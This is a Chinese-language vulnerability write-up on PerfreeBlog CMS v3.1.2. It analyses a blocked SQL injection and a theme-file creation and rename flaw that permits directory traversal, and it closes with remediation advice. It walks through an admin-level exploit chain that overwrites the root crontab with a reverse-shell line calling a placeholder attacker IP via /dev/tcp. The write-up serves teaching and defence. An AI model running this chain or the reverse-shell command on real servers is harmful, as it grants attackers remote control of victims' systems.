某cms漏洞浅析
字数 1377 2025-08-06 08:35:09
PerfreeBlog CMS漏洞分析与利用教学文档
1. 环境搭建
1.1 系统要求
- 操作系统:Windows或Linux
- 数据库:MySQL
- 构建工具:Maven
1.2 获取源代码
从GitHub Release页面下载PerfreeBlog v3.1.2版本的源代码:
https://github.com/perfree/PerfreeBlog/releases/tag/v3.1.2
1.3 配置环境
- 配置本地Maven环境
- 配置MySQL数据库连接
- 使用Docker构建环境(可选)
2. SQL注入漏洞分析
2.1 漏洞定位
- 使用MyBatis框架,全局搜索
$符号查找可能的注入点 - 关键文件:
com/perfree/mapper/ArticleMapper.java
2.2 注入点分析
- 发现
orderBy参数可控 - 调用链:
ArticleController.java→generateOrderBy方法
2.3 防护机制
- 对输入参数以
,分割 - 实施白名单校验:
- 若数组中的数据不在白名单中则返回空
- 白名单数据来源固定,无法绕过
2.4 结论
由于严格的白名单校验机制,SQL注入漏洞无法成功利用。
3. 文件上传漏洞分析
3.1 漏洞定位
- 关键文件:
com/perfree/controller/admin/ThemeController.java - 相关方法:
createFileOrDir
3.2 漏洞详情
-
文件创建漏洞:
- 使用
FileUtil.touch方法创建文件 - 未对文件后缀进行限制
- 未过滤
..和/,存在目录穿越风险
- 使用
-
文件内容写入:
content参数完全可控- 可写入任意内容
-
限制条件:
- 需要后台管理员权限
- Spring Boot未配置JSP解析,无法直接上传JSP webshell
3.3 文件重命名漏洞
- 同一类中的文件重命名功能
- 未对重命名的文件名进行过滤
- 可利用目录穿越特性
4. 漏洞利用链构建
4.1 利用步骤
- 获取后台管理员权限
- 通过主题管理功能新建文件
- 写入恶意代码
- 利用文件重命名功能进行路径穿越
4.2 Linux系统利用方案
4.2.1 计划任务利用
- 覆盖
/var/spool/cron/root文件 - 写入反弹shell命令:
*/1 * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1 - 注意换行符问题
4.2.2 Docker环境适配
- 官方Docker使用Debian镜像
- 建议改用CentOS镜像(计划任务执行更可靠)
- 示例Dockerfile:
FROM centos:centos7.6.1810 COPY ./jdk-8u181-linux-x64.tar.gz /jdk-8u181-linux-x64.tar.gz COPY ./perfree-web-3.1.2.tar.gz /perfree-web-3.1.2.tar.gz RUN yum install crontabs -y RUN tar -zxvf /jdk-8u181-linux-x64.tar.gz && mv jdk1.8.0_181 /usr/local/ RUN tar -zxvf /perfree-web-3.1.2.tar.gz && mv perfree-web /usr/local/ WORKDIR /usr/local/perfree-web EXPOSE 8080 CMD ["/usr/local/jdk1.8.0_181/bin/java", "-jar", "/usr/local/perfree-web/perfree-web.jar"]
4.3 利用验证
- 查看计划任务列表确认写入成功
- 检查计划任务执行日志
- 在攻击机监听对应端口,确认收到反弹shell
5. 漏洞修复建议
-
文件操作安全加固:
- 对用户输入的文件路径进行规范化处理
- 实施严格的路径校验,防止目录穿越
- 限制文件创建和重命名操作的范围
-
权限控制:
- 加强后台权限管理
- 对敏感操作实施二次验证
-
输入验证:
- 对所有用户输入实施严格过滤
- 对文件内容写入实施安全检查
-
安全配置:
- 在生产环境中限制文件系统访问权限
- 实施最小权限原则
6. 总结
本教学文档详细分析了PerfreeBlog v3.1.2版本中存在的安全漏洞,包括:
- SQL注入漏洞(因白名单防护无法利用)
- 文件上传与目录穿越漏洞
- 文件重命名漏洞
通过组合利用文件操作相关漏洞,攻击者可在获取后台权限后实现服务器权限获取。虽然漏洞需要后台权限,但仍存在较大安全风险。建议用户关注官方更新,及时应用安全补丁。